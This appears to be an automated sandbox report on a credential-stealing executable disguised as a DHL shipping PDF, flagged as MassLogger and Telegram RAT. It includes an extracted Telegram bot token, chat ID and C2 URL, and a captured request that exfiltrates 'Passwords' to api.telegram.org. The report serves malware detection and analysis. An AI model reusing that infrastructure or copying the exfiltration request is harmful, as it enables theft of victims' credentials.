Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552, type: MEMORYSTR

Remote Access Functionality

Yara detected MSIL Logger

Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552, type: MEMORYSTR

Yara detected MassLogger RAT

Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3b71398.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.3bf4418.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4568374575.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4571874114.0000000003034000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2130367951.0000000003B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 4552, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	1 Process Discovery	Remote Desktop Protocol	1 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	11 Archive Collected Data	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	1 Data from Local System	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source: 00000000.00000002.2130367951.0000000003B59000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0", "Telegram Chatid": "7319393351"}
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4552.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0/sendMessage"}

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:49733 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.6:49733 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7303504110:AAFrHdCZZNIjaxiLly7_Fjy5Tv_jE3zFKA0/sendDocument?chat_id=7319393351&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd5b8e42c46e6eHost: api.telegram.orgContent-Length: 1088Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Virustotal: Detection: 31%			Perma Link
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	ReversingLabs: Detection: 26%

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 05365782h	3_2_05365358
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 053651B9h	3_2_05364F08
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 05365782h	3_2_053656AF
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544D088h	3_2_0544CDE0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 05441935h	3_2_054415F8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 05440FF1h	3_2_05440D48
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544C7D8h	3_2_0544C530
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544F028h	3_2_0544ED80
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 05443EF8h	3_2_05443C50
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544DEC8h	3_2_0544DC20
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544E778h	3_2_0544E4D0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544BF28h	3_2_0544BC80
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 05440741h	3_2_05440498
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 054431F0h	3_2_05442F48
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544B220h	3_2_0544AF78
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 05443AA0h	3_2_054437F8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544A0C0h	3_2_05449E18
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544F8D8h	3_2_0544F630
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544A970h	3_2_0544A6C8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544D93Ah	3_2_0544D690
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544EBD0h	3_2_0544E928
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544F480h	3_2_0544F1D8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544CC30h	3_2_0544C988
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 05441449h	3_2_054411A0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 054402E9h	3_2_05440040
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544E320h	3_2_0544E078
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544BAD0h	3_2_0544B828
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544C380h	3_2_0544C0D8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 05440B99h	3_2_054408F0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 05444350h	3_2_054440A8
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544ADC8h	3_2_0544AB20
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544B678h	3_2_0544B3D0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 05443648h	3_2_054433A0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544A518h	3_2_0544A270
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544D4E0h	3_2_0544D238
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 05442D98h	3_2_05442AF0
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 4x nop then jmp 0544FD30h	3_2_0544FA88

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
DHL Shipping Details Ref ID 446331798008765975594-pdf.exe